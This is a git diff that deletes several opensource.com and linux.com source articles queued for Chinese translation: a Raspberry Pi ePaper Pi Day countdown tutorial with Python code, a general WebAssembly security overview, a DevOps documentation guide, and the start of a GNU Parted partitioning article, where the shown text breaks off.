https://opensource.com/sites/default/files/uploads/rudderstack_sourcewritekey.png (RudderStack source write key) -[20]: https://github.com/rudderlabs/rudder-server -[21]: https://nodejs.org/en/download/ -[22]: https://opensource.com/sites/default/files/uploads/rudderstack_controlplane.png (RudderStack open source control plane) -[23]: https://docs.rudderstack.com/how-to-guides/rudderstack-config-generator -[24]: https://www.gnu.org/licenses/agpl-3.0-standalone.html -[25]: https://github.com/rudderlabs/rudder-transformer -[26]: https://opensource.org/licenses/MIT -[27]: https://www.getdbt.com/ -[28]: https://github.com/rudderlabs -[29]: https://docs.rudderstack.com/get-started/installing-and-setting-up-rudderstack/docker -[30]: https://docs.rudderstack.com/get-started/installing-and-setting-up-rudderstack/kubernetes -[31]: https://docs.rudderstack.com/get-started/installing-and-setting-up-rudderstack/native-installation -[32]: https://docs.rudderstack.com/get-started/installing-and-setting-up-rudderstack/developer-machine-setup -[33]: https://resources.rudderstack.com/rudderstack-cloud -[34]: https://rudderstack.com/blog/ -[35]: https://twitter.com/RudderStack -[36]: https://www.linkedin.com/company/rudderlabs/ -[37]: https://dev.to/rudderstack -[38]: https://rudderstack.medium.com/ -[39]: https://www.youtube.com/channel/UCgV-B77bV_-LOmKYHw8jvBw +[16]: https://app.rudderstack.com/ +[17]: https://docs.rudderstack.com/get-started/adding-source-and-destination-rudderstack +[18]: https://docs.rudderstack.com/rudderstack-sdk-integration-guides/rudderstack-javascript-sdk +[20]: https://docs.rudderstack.com/get-started/adding-source-and-destination-rudderstack +[21]: https://docs.rudderstack.com/rudderstack-sdk-integration-guides/rudderstack-javascript-sdk +[24]: https://docs.rudderstack.com/get-started/adding-source-and-destination-rudderstack +[25]: https://docs.rudderstack.com/rudderstack-sdk-integration-guides/rudderstack-javascript-sdk +[27]: https://opensource.com/sites/default/files/uploads/googleanalyticstrackingid.png +[28]: https://opensource.com/sites/default/files/uploads/rudderstack_sourcewritekey.png +[29]: https://github.com/rudderlabs/rudder-server +[30]: https://nodejs.org/en/download/ +[31]: https://opensource.com/sites/default/files/uploads/rudderstack_controlplane.png +[32]: https://docs.rudderstack.com/how-to-guides/rudderstack-config-generator +[33]: https://github.com/rudderlabs/rudder-server +[34]: https://www.gnu.org/licenses/agpl-3.0-standalone.html +[35]: https://github.com/rudderlabs/rudder-transformer +[36]: https://opensource.org/licenses/MIT +[37]: https://www.getdbt.com/ +[38]: https://github.com/rudderlabs +[39]: https://docs.rudderstack.com/get-started/installing-and-setting-up-rudderstack/docker +[40]: https://docs.rudderstack.com/get-started/installing-and-setting-up-rudderstack/kubernetes +[41]: https://docs.rudderstack.com/get-started/installing-and-setting-up-rudderstack/native-installation +[42]: https://docs.rudderstack.com/get-started/installing-and-setting-up-rudderstack/developer-machine-setup +[43]: https://resources.rudderstack.com/rudderstack-cloud diff --git a/sources/tech/20210319 Create a countdown clock with a Raspberry Pi.md b/sources/tech/20210319 Create a countdown clock with a Raspberry Pi.md deleted file mode 100644 index bc376bd374..0000000000 --- a/sources/tech/20210319 Create a countdown clock with a Raspberry Pi.md +++ /dev/null @@ -1,393 +0,0 @@ -[#]: subject: (Create a countdown clock with a Raspberry Pi) -[#]: via: (https://opensource.com/article/21/3/raspberry-pi-countdown-clock) -[#]: author: (Chris Collins https://opensource.com/users/clcollins) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Create a countdown clock with a Raspberry Pi -====== -Start counting down the days to your next holiday with a Raspberry Pi -and an ePaper display. -![Alarm clocks with different time][1] - -For 2021, [Pi Day][2] has come and gone, leaving fond memories and [plenty of Raspberry Pi projects][3] to try out. The days after any holiday can be hard when returning to work after high spirits and plenty of fun, and Pi Day is no exception. As we look into the face of the Ides of March, we can long for the joys of the previous, well, day. But fear no more, dear Pi Day celebrant! For today, we begin the long countdown to the next Pi Day! - -OK, but seriously. I made a Pi Day countdown timer, and you can too! - -A while back, I purchased a [Raspberry Pi Zero W][4] and recently used it to [figure out why my WiFi was so bad][5]. I was also intrigued by the idea of getting an ePaper display for the little Zero W. I didn't have a good use for one, but, dang it, it looked like fun! I purchased a little 2.13" [Waveshare display][6], which fit perfectly on top of the Raspberry Pi Zero W. It's easy to install: Just slip the display down onto the Raspberry Pi's GIPO headers and you're good to go. - -I used [Raspberry Pi OS][7] for this project, and while it surely can be done with other operating systems, the `raspi-config` command, used below, is most easily available on Raspberry Pi OS. - -### Set up the Raspberry Pi and the ePaper display - -Setting up the Raspberry Pi to work with the ePaper display requires you to enable the Serial Peripheral Interface (SPI) in the Raspberry Pi software, install the BCM2835 C libraries (to access the GPIO functions for the Broadcom BCM 2835 chip on the Raspberry Pi), and install Python GPIO libraries to control the ePaper display. Finally, you need to install the Waveshare libraries for working with the 2.13" display using Python. - -Here's a step-by-step walkthrough of how to do these tasks. - -#### Enable SPI - -The easiest way to enable SPI is with the Raspberry Pi `raspi-config` command. The SPI bus allows serial data communication to be used with devices—in this case, the ePaper display: - - -``` -`$ sudo raspi-config` -``` - -From the menu that pops up, select **Interfacing Options** -> **SPI** -> **Yes** to enable the SPI interface, then reboot. - -#### Install BCM2835 libraries - -As mentioned above, the BCM2835 libraries are software for the Broadcom BCM2385 chip on the Raspberry Pi, which allows access to the GPIO pins and the ability to use them to control devices. - -As I'm writing this, the latest version of the Broadcom BCM 2835 libraries for the Raspberry Pi is v1.68. To install the libraries, you need to download the software tarball and build and install the software with `make`: - - -``` -# Download the BCM2853 libraries and extract them -$ curl -sSL -o - | tar -xzf - - -# Change directories into the extracted code -$ pushd bcm2835-1.68/ - -# Configure, build, check and install the BCM2853 libraries -$ sudo ./configure -$ sudo make check -$ sudo make install - -# Return to the original directory -$ popd -``` - -#### Install required Python libraries - -You also need some Python libraries to use Python to control the ePaper display, the `RPi.GPIO` pip package. You also need the `python3-pil` package for drawing shapes. Apparently, the PIL package is all but dead, but there is an alternative, [Pillow][8]. I have not tested Pillow for this project, but it may work: - - -``` -# Install the required Python libraries -$ sudo apt-get update -$ sudo apt-get install python3-pip python3-pil -$ sudo pip3 install RPi.GPIO -``` - -_Note: These instructions are for Python 3. You can find Python 2 instructions on Waveshare's website_ - -#### Download Waveshare examples and Python libraries - -Waveshare maintains a Git repository with Python and C libraries for working with its ePaper displays and some examples that show how to use them. For this countdown clock project, you will clone this repository and use the libraries for the 2.13" display: - - -``` -# Clone the WaveShare e-Paper git repository -$ git clone -``` - -If you're using a different display or a product from another company, you'll need to use the appropriate software for your display. - -Waveshare provides instructions for most of the above on its website: - - * [WaveShare ePaper setup instructions][9] - * [WaveShare ePaper libraries install instructions][10] - - - -#### Get a fun font (optional) - -You can display your timer however you want, but why not do it with a little style? Find a cool font to work with! - -There's a ton of [Open Font License][11] fonts available out there. I am particularly fond of Bangers. You've seen this if you've ever watched YouTube—it's used _all over_. It can be downloaded and dropped into your user's local shared fonts directory to make it available for any application, including this project: - - -``` -# The "Bangers" font is a Open Fonts License licensed font by Vernon Adams () from Google Fonts -$ mkdir -p ~/.local/share/fonts -$ curl -sSL -o fonts/Bangers-Regular.ttf -``` - -### Create a Pi Day countdown timer - -Now that you have installed the software to work with the ePaper display and a fun font to use, you can build something cool with it: a timer to count down to the next Pi Day! - -If you want, you can just grab the [countdown.py][12] Python file from this project's [GitHub repo][13] and skip to the end of this article. - -For the curious, I'll break down that file, section by section. - -#### Import some libraries - - -``` -#!/usr/bin/python3 -# -*- coding:utf-8 -*- -import logging -import os -import sys -import time - -from datetime import datetime -from pathlib import Path -from PIL import Image,ImageDraw,ImageFont - -logging.basicConfig(level=logging.INFO) - -basedir = Path(__file__).parent -waveshare_base = basedir.joinpath('e-Paper', 'RaspberryPi_JetsonNano', 'python') -libdir = waveshare_base.joinpath('lib') -``` - -At the start, the Python script imports some standard libraries used later in the script. You also need to add `Image`, `ImageDraw`, and `ImageFont` from the PIL package, which you'll use to draw some simple geometric shapes. Finally, set some variables for the local `lib` directory that contains the Waveshare Python libraries for working with the 2.13" display, and which you can use later to load the library from the local directory. - -#### Font size helper function - -The next part of the script has a helper function for setting the font size for your chosen font: Bangers-Regular.ttf. It takes an integer for the font size and returns an ImageFont object you can use with the display: - - -``` -def set_font_size(font_size): -    logging.info("Loading font...") -    return ImageFont.truetype(f"{basedir.joinpath('Bangers-Regular.ttf').resolve()}", font_size) -``` - -#### Countdown logic - -Next is a small function that calculates the meat of this project: how long it is until the next Pi Day. If it were, say, January, it would be relatively straightforward to count how many days are left, but you also need to consider whether Pi Day has already passed for the year (sadface), and if so, count how very, very many days are ahead until you can celebrate again: - - -``` -def countdown(now): -    piday = datetime(now.year, 3, 14) - -    # Add a year if we're past PiDay -    if piday < now: -        piday = datetime((now.year + 1), 3, 14) - -    days = (piday - now).days - -    logging.info(f"Days till piday: {days}") -    return day -``` - -#### The main function - -Finally, you get to the main function, which initializes the display and begins writing data to it. In this case, you'll write a welcome message and then begin the countdown to the next Pi Day. But first, you need to load the Waveshare library: - - -``` -def main(): - -    if os.path.exists(libdir): -        sys.path.append(f"{libdir}") -        from waveshare_epd import epd2in13_V2 -    else: -        logging.fatal(f"not found: {libdir}") -        sys.exit(1) -``` - -The snippet above checks to make sure the library has been downloaded to a directory alongside the countdown script, and then it loads the `epd2in13_V2` library. If you're using a different display, you will need to use a different library. You can also write your own if you are so inclined. I found it kind of interesting to read the Python code that Waveshare provides with the display. It's considerably less complicated than I would have imagined it to be, if somewhat tedious. - -The next bit of code creates an EPD (ePaper Display) object to interact with the display and initializes the hardware: - - -``` -    logging.info("Starting...") -    try: -        # Create an a display object -        epd = epd2in13_V2.EPD() - -        # Initialize the displace, and make sure it's clear -        # ePaper keeps it's state unless updated! -        logging.info("Initialize and clear...") -        epd.init(epd.FULL_UPDATE) -        epd.Clear(0xFF) -``` - -An interesting aside about ePaper: It uses power only when it changes a pixel from white to black or vice-versa. This means when the power is removed from the device or the application stops for whatever reason, whatever was on the screen remains. That's great from a power-consumption perspective, but it also means you need to clear the display when starting up, or your script will just write over whatever is already on the screen. Hence, `epd.Clear(0xFF)` is used to clear the display when the script starts. - -Next, create a "canvas" where you will draw the rest of your display output: - - -``` -    # Create an image object -    # NOTE: The "epd.heigh" is the LONG side of the screen -    # NOTE: The "epd.width" is the SHORT side of the screen -    # Counter-intuitive... -    logging.info(f"Creating canvas - height: {epd.height}, width: {epd.width}") -    image = Image.new('1', (epd.height, epd.width), 255)  # 255: clear the frame -    draw = ImageDraw.Draw(image) -``` - -This matches the width and height of the display—but it is somewhat counterintuitive, in that the short side of the display is the width. I think of the long side as the width, so this is just something to note. Note that the `epd.height` and `epd.width` are set by the Waveshare library to correspond to the device you're using. - -#### Welcome message - -Next, you'll start to draw something. This involves setting data on the "canvas" object you created above. This doesn't draw it to the ePaper display yet—you're just building the image you want right now. Create a little welcome message celebrating Pi Day, with an image of a piece of pie, drawn by yours truly just for this project: - -![drawing of a piece of pie][14] - -(Chris Collins, [CC BY-SA 4.0][15]) - -Cute, huh? - - -``` -    logging.info("Set text text...") -    bangers64 = set_font_size(64) -    draw.text((0, 30), 'PI DAY!', font = bangers64, fill = 0) - -    logging.info("Set BMP...") -    bmp = Image.open(basedir.joinpath("img", "pie.bmp")) -    image.paste(bmp, (150,2)) -``` - -Finally, _finally_, you get to display the canvas you drew, and it's a little bit anti-climactic: - - -``` -    logging.info("Display text and BMP") -    epd.display(epd.getbuffer(image)) -``` - -That bit above updates the display to show the image you drew. - -Next, prepare another image to display your countdown timer. - -#### Pi Day countdown timer - -First, create a new image object that you can use to draw the display. Also, set some new font sizes to use for the image: - - -``` -    logging.info("Pi Date countdown; press CTRL-C to exit") -    piday_image = Image.new('1', (epd.height, epd.width), 255) -    piday_draw = ImageDraw.Draw(piday_image) - -    # Set some more fonts -    bangers36 = set_font_size(36) -    bangers64 = set_font_size(64) -``` - -To display a ticker like a countdown, it's more efficient to update part of the image, changing the display for only what has changed in the data you want to draw. The next bit of code prepares the display to function this way: - - -``` -    # Prep for updating display -    epd.displayPartBaseImage(epd.getbuffer(piday_image)) -    epd.init(epd.PART_UPDATE) -``` - -Finally, you get to the timer bit, starting an infinite loop that checks how long it is until the next Pi Day and displays the countdown on the ePaper display. If it actually _is_ Pi Day, you can handle that with a little celebration message: - - -``` -    while (True): -        days = countdown(datetime.now()) -        unit = get_days_unit(days) - -        # Clear the bottom half of the screen by drawing a rectangle filld with white -        piday_draw.rectangle((0, 50, 250, 122), fill = 255) - -        # Draw the Header -        piday_draw.text((10,10), "Days till Pi-day:", font = bangers36, fill = 0) - -        if days == 0: -            # Draw the Pi Day celebration text! -            piday_draw.text((0, 50), f"It's Pi Day!", font = bangers64, fill = 0) -        else: -            # Draw how many days until Pi Day -            piday_draw.text((70, 50), f"{str(days)} {unit}", font = bangers64, fill = 0) - -        # Render the screen -        epd.displayPartial(epd.getbuffer(piday_image)) -        time.sleep(5) -``` - -The last bit of the script does some error handling, including some code to catch keyboard interrupts so that you can stop the infinite loop with **Ctrl**+**C** and a small function to print "day" or "days" depending on whether or not the output should be singular (for that one, single day each year when it's appropriate): - - -``` -    except IOError as e: -        logging.info(e) - -    except KeyboardInterrupt: -        logging.info("Exiting...") -        epd.init(epd.FULL_UPDATE) -        epd.Clear(0xFF) -        time.sleep(1) -        epd2in13_V2.epdconfig.module_exit() -        exit() - -def get_days_unit(count): -    if count == 1: -        return "day" - -    return "days" - -if __name__ == "__main__": -    main() -``` - -And there you have it! A script to count down and display how many days are left until Pi Day! Here's an action shot on my Raspberry Pi (sped up by 86,400; I don't have nearly enough disk space to save a day-long video): - -![Pi Day Countdown Timer In Action][16] - -(Chris Collins, [CC BY-SA 4.0][15]) - -#### Install the systemd service (optional) - -If you'd like the countdown display to run whenever the system is turned on and without you having to be logged in and run the script, you can install the optional systemd unit as a [systemd user service][17]). - -Copy the [piday.service][18] file on GitHub to `${HOME}/.config/systemd/user`, first creating the directory if it doesn't exist. Then you can enable the service and start it: - - -``` -$ mkdir -p ~/.config/systemd/user -$ cp piday.service ~/.config/systemd/user -$ systemctl --user enable piday.service -$ systemctl --user start piday.service - -# Enable lingering, to create a user session at boot -# and allow services to run after logout -$ loginctl enable-linger $USER -``` - -The script will output to the systemd journal, and the output can be viewed with the `journalctl` command. - -### It's beginning to look a lot like Pi Day! - -And _there_ you have it! A Pi Day countdown timer, displayed on an ePaper display using a Raspberry Pi Zero W, and starting on system boot with a systemd unit file! Now there are just 350-something days until we can once again come together and celebrate the fantastic device that is the Raspberry Pi. And we can see exactly how many days at a glance with our tiny project. - -But in truth, anyone can hold Pi Day in their hearts year-round, so enjoy creating some fun and educational projects with your own Raspberry Pi! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/3/raspberry-pi-countdown-clock - -作者:[Chris Collins][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/clcollins -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/clocks_time.png?itok=_ID09GDk (Alarm clocks with different time) -[2]: https://en.wikipedia.org/wiki/Pi_Day -[3]: https://opensource.com/tags/raspberry-pi -[4]: https://www.raspberrypi.org/products/raspberry-pi-zero-w/ -[5]: https://opensource.com/article/21/3/troubleshoot-wifi-go-raspberry-pi -[6]: https://www.waveshare.com/product/displays/e-paper.htm -[7]: https://www.raspberrypi.org/software/operating-systems/ -[8]: https://pypi.org/project/Pillow/ -[9]: https://www.waveshare.com/wiki/2.13inch_e-Paper_HAT -[10]: https://www.waveshare.com/wiki/Libraries_Installation_for_RPi -[11]: https://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&id=OFL -[12]: https://github.com/clcollins/epaper-pi-ex/blob/main/countdown.py -[13]: https://github.com/clcollins/epaper-pi-ex/ -[14]: https://opensource.com/sites/default/files/uploads/pie.png (drawing of a piece of pie) -[15]: https://creativecommons.org/licenses/by-sa/4.0/ -[16]: https://opensource.com/sites/default/files/uploads/piday_countdown.gif (Pi Day Countdown Timer In Action) -[17]: https://wiki.archlinux.org/index.php/systemd/User -[18]: https://github.com/clcollins/epaper-pi-ex/blob/main/piday.service diff --git a/sources/tech/20210323 WebAssembly Security, Now and in the Future.md b/sources/tech/20210323 WebAssembly Security, Now and in the Future.md deleted file mode 100644 index b29459396a..0000000000 --- a/sources/tech/20210323 WebAssembly Security, Now and in the Future.md +++ /dev/null @@ -1,87 +0,0 @@ -[#]: subject: (WebAssembly Security, Now and in the Future) -[#]: via: (https://www.linux.com/news/webassembly-security-now-and-in-the-future/) -[#]: author: (Dan Brown https://training.linuxfoundation.org/announcements/webassembly-security-now-and-in-the-future/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -WebAssembly Security, Now and in the Future -====== - -_By Marco Fioretti_ - -**Introduction** - -WebAssembly is, as we [explained recently][1], a binary format for software written in any language, designed to eventually run on any platform without changes. The first application of WebAssembly is inside web browsers, to make websites faster and more interactive. Plans to push WebAssembly beyond the Web, from servers of all sorts to the Internet of Things (IoT), create as many opportunities as security issues. This post is an introductory overview of those issues and of the WebAssembly security model. - -**WebAssembly is like JavaScript** - -Inside web browsers, WebAssembly modules are managed by the same Virtual Machine (VM) that executes JavaScript code. Therefore, WebAssembly may be used to do much of the same harm that is doable with JavaScript, just more efficiently and less visibly. Since JavaScript is plain text that the browser will compile, and WebAssembly a ready-to-run binary format, the latter runs faster, and is also harder to scan (even by antivirus software) for malicious instructions. - -This “code obfuscation” effect of WebAssembly has been already used, among other things, to pop up unwanted advertising or to open fake “tech support” windows that ask for sensitive data. Another trick is to automatically redirect browsers to “landing” pages that contain the really dangerous malware. - -Finally, WebAssembly may be used, just like JavaScript, to “steal” processing power instead of data. In 2019, an [analysis of 150 different Wasm modules][2] found out that about _32%_ of them were used for cryptocurrency-mining. - -**WebAssembly sandbox, and interfaces** - -WebAssembly code runs closed into a [sandbox][3] managed by the VM, not by the operating system. This gives it no visibility of the host computer, or ways to interact directly with it. Access to system resources, be they files, hardware or internet connections, can only happen through the WebAssembly System Interface (WASI) provided by that VM. - -The WASI is different from most other application programming interfaces, with unique security characteristics that are truly driving the adoption of WASM on servers/edge computing scenarios, and will be the topic of the next post. Here, it is enough to say that its security implications greatly vary, when moving from the web to other environments. Modern web browsers are terribly complex pieces of software, but lay on decades of experience, and of daily tests from billions of people. Compared to browsers, servers or IoT devices are almost uncharted lands. The VMs for those platforms will require extensions of WASI and thus, in turn, surely introduce new security challenges. - -**Memory and code management in WebAssembly** - -Compared to normal compiled programs, WebAssembly applications have very restricted access to memory, and to themselves too. WebAssembly code cannot directly access functions or variables that are not yet called, jump to arbitrary addresses or execute data in memory as bytecode instructions. - -Inside browsers, a Wasm module only gets one, global array (“linear memory”) of contiguous bytes to play with. WebAssembly can directly read and write any location in that area, or request an increase in its size, but that’s all. This linear memory is also separated from the areas that contain its actual code, execution stack, and of course the virtual machine that runs WebAssembly. For browsers, all these data structures are ordinary JavaScript objects, insulated from all the others using standard procedures. - -**The result: good, but not perfect** - -All these restrictions make it quite hard for a WebAssembly module to misbehave, but not impossible. - -The sandboxed memory that makes it almost impossible for WebAssembly to touch what is _outside_ also makes it harder for the operating system to prevent bad things from happening _inside_. Traditional memory monitoring mechanisms like [“stack canaries”][4], which notice if some code tries to mess with objects that it should not touch, [cannot work there][5]. - -The fact that WebAssembly can only access its own linear memory, but directly, may also _facilitate_ the work of attackers. With those constraints, and access to the source code of a module, it is much easier to guess which memory locations could be overwritten to make the most damage. It also seems [possible][6] to corrupt local variables, because they stay in an unsupervised stack in the linear memory. - -A 2020 paper on the [binary security of WebAssembly][5] noted that WebAssembly code can still overwrite string literals in supposedly constant memory. The same paper describes other ways in which WebAssembly may be less secure than when compiled to a native binary, on three different platforms (browsers, server-side applications on Node.js, and applications for stand-alone WebAssembly VMs) and is recommended further reading on this topic. - -In general, the idea that WebAssembly can only damage what’s inside its own sandbox can be misleading. WebAssembly modules do the heavy work for the JavaScript code that calls them, exchanging variables every time. If they write into any of those variables code that may cause crashes or data leaks in the unsafe JavaScript that called WebAssembly, those things _will_ happen. - -**The road ahead** - -Two emerging features of WebAssembly that will surely impact its security (how and how much, it’s too early to tell) are [concurrency][7], and internal garbage collection. - -Concurrency is what allows several WebAssembly modules to run in the same VM simultaneously. Today this is possible only through JavaScript [web workers][8], but better mechanisms are under development. Security-wise, they may bring in [“a lot of code… that did not previously need to be”][9], that is more ways for things to go wrong. - -A [native Garbage Collector][10] is needed to increase performance and security, but above all to use WebAssembly outside the well-tested Java VMs of browsers, that collect all the garbage inside themselves anyway. Even this new code, of course, may become another entry point for bugs and attacks. - -On the positive side, general strategies to make WebAssembly even safer than it is today also exist. Quoting again from [here][5], they include compiler improvements, _separate_ linear memories for stack, heap and constant data, and avoiding to compile as WebAssembly modules code in “unsafe languages, such as C”. - -The post [WebAssembly Security, Now and in the Future][11] appeared first on [Linux Foundation – Training][12]. - --------------------------------------------------------------------------------- - -via: https://www.linux.com/news/webassembly-security-now-and-in-the-future/ - -作者:[Dan Brown][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://training.linuxfoundation.org/announcements/webassembly-security-now-and-in-the-future/ -[b]: https://github.com/lujun9972 -[1]: https://training.linuxfoundation.org/announcements/an-introduction-to-webassembly/ -[2]: https://www.sec.cs.tu-bs.de/pubs/2019a-dimva.pdf -[3]: https://webassembly.org/docs/security/ -[4]: https://ctf101.org/binary-exploitation/stack-canaries/ -[5]: https://www.usenix.org/system/files/sec20-lehmann.pdf -[6]: https://spectrum.ieee.org/tech-talk/telecom/security/more-worries-over-the-security-of-web-assembly -[7]: https://github.com/WebAssembly/threads -[8]: https://en.wikipedia.org/wiki/Web_worker -[9]: https://googleprojectzero.blogspot.com/2018/08/the-problems-and-promise-of-webassembly.html -[10]: https://github.com/WebAssembly/gc/blob/master/proposals/gc/Overview.md -[11]: https://training.linuxfoundation.org/announcements/webassembly-security-now-and-in-the-future/ -[12]: https://training.linuxfoundation.org/ diff --git a/sources/tech/20210330 A DevOps guide to documentation.md b/sources/tech/20210330 A DevOps guide to documentation.md deleted file mode 100644 index 4f9defbb3b..0000000000 --- a/sources/tech/20210330 A DevOps guide to documentation.md +++ /dev/null @@ -1,93 +0,0 @@ -[#]: subject: (A DevOps guide to documentation) -[#]: via: (https://opensource.com/article/21/3/devops-documentation) -[#]: author: (Will Kelly https://opensource.com/users/willkelly) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -A DevOps guide to documentation -====== -Bring your documentation writing into the DevOps lifecycle. -![Typewriter with hands][1] - -DevOps is challenging technical documentation norms like at no other time in IT history. From automation to increased delivery velocity to dismantling the waterfall software development lifecycle model, these all spell the need for making dramatic changes to business and the philosophy of technical documentation. - -Here are some ways DevOps is influencing technical documentation. - -### The technical writer's changing role - -The technical writer's role must adapt to DevOps. The good news is that many technical writers are already embedded in development teams, and they may have a leg up by already having collaborative relationships and growing knowledge of the product. - -But you have some pivoting to do if your technical writers are used to working in siloes and relying on drafts written by subject matter experts as the basis for documentation. - -Make the investments to ensure your documentation and other project-related content development efforts gain the tools, structure, and support they require. Start by changing your [technical writer hiring practices][2]. Documentation at the [speed of DevOps][3] requires rethinking your content strategy and breaking down longstanding silos between your DevOps team and the technical writer assigned to support the project. - -DevOps also causes development teams to break away from the rigors of traditional documentation practices. Foremost, documentation's [definition of done][4] must change. Some corporate cultures make the technical writer a passive participant in software development. DevOps makes new demands—as the DevOps cultural transformation goes, so does the technical writer's role. Writers will need (and must adjust to) the transparency DevOps offers. They must integrate into DevOps teams. Depending on how an organization casts the role, bringing the technical writer into the team may present skillset challenges. - -### Documentation standards, methodologies, and specifications - -While DevOps has yet to influence technical documentation itself, the open source community has stepped up to help with application programming interface (API) documentation that's finding use among DevOps teams in enterprises of all sizes. - -Open source specifications and tools for documenting APIs are an exciting area to watch. I'd like to think it is due to the influence of [Google Season of Docs][5], which gives open source software projects access to professional technical writing talent to tackle their most critical documentation projects. - -Open source APIs are available and need to become part of the DevOps documentation discussion. The importance of cloud-native application integration requirements is on the rise. The [OpenAPI specification][6]—an open standard for defining and documenting an API—is a good resource for API documentation in DevOps environments. However, a significant criticism is that the specification can make documentation time-consuming to create and keep current. - -There were brief attempts to create a [Continuous Documentation][7] methodology. There was also a movement to create a [DocOps][8] Framework that came out of CA (now Broadcom). Despite its initial promise, DocOps never caught on as an industry movement. - -The current state of DevOps documentation standards means your DevOps teams (including your technical writer) need to begin creating documentation at the earliest stages of a project. You do this by adding documentation as both an agile story and (just as important) as a management expectation; you enforce it by tying it to annual performance reviews. - -### Documentation tools - -DevOps documentation authoring should occur online in a format or a platform accessible to all team members. MediaWiki, DokuWiki, TikiWiki, and other [open source wikis][9] offer DevOps teams a central repository for authoring and maintaining documentation. - -Let teams choose their wiki just as you let them choose their other continuous integration/continuous development (CI/CD) toolchains. Part of the power of open source wikis is their extensibility. For example, DokuWiki includes a range of extensions you can install to create an authoring platform that meets your DevOps team's authoring requirements. - -If you're ambitious enough to bolster your team's authoring and collaboration capabilities, [Nextcloud][10] (an open source cloud collaboration suite) is an option for putting your DevOps teams online and giving them the tools they need to author documentation. - -### DevOps best practices - -Documentation also plays a role in DevOps transformation. You're going to want to document the best practices that help your organization realize efficiency and process gains from DevOps. This information is too important to communicate only by word of mouth across your DevOps teams. Documentation is a unifying force if your organization has multiple DevOps teams; it promotes standardization of best practices and sets you up to capture and benchmark metrics for code quality. - -Often it's developers who shoulder the work of documenting DevOps practices. Even if their organizations have technical writers, they might work across development teams. Thus, it's important that developers and sysadmins can capture, document, and communicate their best practices. Here are some tips to get that effort going in the right direction: - - * Invest the time upfront to create a standard template for your DevOps best practices. Don't fall into the trap of copying a template you find online. Interview your stakeholders and teams to create a template that meets your team's needs. - * Look for ways to be creative with information gathering, such as recording your team meetings and using chat system logs to serve as a foundation for your documentation. - * Establish a wiki for publishing your best practices. Use a wiki that lets you maintain an audit trail of edits and updates. Such a platform sets your teams up to update and maintain best practices as they change. - - - -It's smart to document dependencies as you build out your CI/CD toolchains. Such an effort pays off when you onboard new team members. It's also a little bit of insurance when a team member forgets something. - -Finally, automation is enticing to DevOps stakeholders and practitioners alike. It's all fun and games until automation breaks. Having documentation for automation run books, admin guides, and other things in place (and up to date) means your staff can get automation working again regardless of when it breaks down. - -### Final thoughts - -DevOps is a net positive for technical documentation. It pulls content development into the DevOps lifecycle and breaks down the siloes between developers and technical writers within the organizational culture. Without the luxury of a technical writer, teams get the tools to accelerate their document authoring's velocity to match the speed of DevOps. - -What is your organization doing to bring documentation into the DevOps lifecycle? Please share your experience in the comments. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/3/devops-documentation - -作者:[Will Kelly][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/willkelly -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/typewriter-hands.jpg?itok=oPugBzgv (Typewriter with hands) -[2]: https://opensource.com/article/19/11/hiring-technical-writers-devops -[3]: https://searchitoperations.techtarget.com/opinion/Make-DevOps-documentation-an-integral-part-of-your-strategy?_ga=2.73253915.980148481.1610758264-908287796.1564772842 -[4]: https://www.agilealliance.org/glossary/definition-of-done -[5]: https://developers.google.com/season-of-docs -[6]: https://swagger.io/specification/ -[7]: https://devops.com/continuous-documentation -[8]: https://www.cmswire.com/cms/information-management/the-importance-of-docops-in-the-new-era-of-business-027489.php -[9]: https://opensource.com/article/20/7/sharepoint-alternative -[10]: https://opensource.com/article/20/7/nextcloud diff --git a/sources/tech/20210401 Partition a drive on Linux with GNU Parted.md b/sources/tech/20210401 Partition a drive on Linux with GNU Parted.md deleted file mode 100644 index 64d5afb8f7..0000000000 --- a/sources/tech/20210401 Partition a drive on Linux with GNU Parted.md +++ /dev/null @@ -1,194 +0,0 @@ -[#]: subject: (Partition a drive on Linux with GNU Parted) -[#]: via: (https://opensource.com/article/21/4/linux-parted-cheat-sheet) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Partition a drive on Linux with GNU Parted -====== -Learn the basics of partitioning a new storage device, then download our -cheat sheet to keep info close at hand. -![Cheat Sheet cover image][1] - -In the 21st century, we tend to take data storage for granted. We have lots of it, it's relatively affordable, and there are many different types of storage available. No matter how much cloud storage space you're given for free, there's nothing quite like having a physical hard drive for your really important (or really big, when you live on a slow network) data. However, few hard drives are sold right off the shelf, ready to use—in an ideal configuration, at least. Whether you're buying a new drive or setting up a system with a different configuration, you need to know how to partition a drive on Linux. - -This article demonstrates GNU Parted, one of the best tools for partitioning drives. If you prefer to use a graphical application instead of a terminal command, read my article on [formatting drives for Linux][2]. - -### Disk labels, partitions, and filesystems - -A hard drive doesn't _technically_ require much software to serve as a storage device. However, using a drive without modern conventions like a partition table and filesystem is difficult, impractical, and unsafe for your data. - -There are three important concepts you need to know about hard drives: - - * A **disk label** or **partition table** is metadata placed at the start of a drive, serving as a clue for the computer reading it about what kind of storage is available and 